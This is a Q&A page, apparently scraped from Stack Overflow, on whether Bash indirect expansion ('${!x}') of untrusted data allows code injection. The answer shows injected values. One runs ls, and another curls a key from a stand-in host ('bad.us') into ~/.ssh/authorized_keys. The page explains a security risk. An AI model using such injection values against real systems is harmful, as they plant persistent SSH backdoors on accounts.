Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Safety considerations for "${!x}" indirect expansion in Bash

Tags:

bash

Suppose I have a variable, says x, that contains unknown, arbitrary data.

Is the following indirect expansion at risk of code injection or other forms of exploits?

ARBITRARY_COMMAND "${!x}"

I know there are cases where the way x is assigned for useful real-life scenarios may by itself introduce risks and need to be properly controlled or sanitized, but I am assuming here that x has been initialized in a a way that makes no guarantee as to its value, yet is not exposed to exploits up to the expansion shown above.

like image 768
Fred Avatar asked Jan 22 '17 12:01

Fred


1 Answers

In short: YES, any automatic expansion of unknown data is potentially hazardous.

Answer by gniourf_gniourf:

x='a[$(ls>&2)]'

when expanding ${!x}, Bash will expand ${a[$(ls>&2)]}, which is an array expansion, so the term inside the array key, namely $(ls>&2), will be expanded... and this will execute ls (with output to stderr so that we can all observe that ls is indeed executed).

Instead of ls you could, for example, do:

x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]'

Which when evaluated by ${!x} would append a potentially unfriendly public key to your authorized_keys file, which could allow an unfriendly person to ssh into your account.

like image 76
John Weldon Avatar answered Sep 29 '22 18:09

John Weldon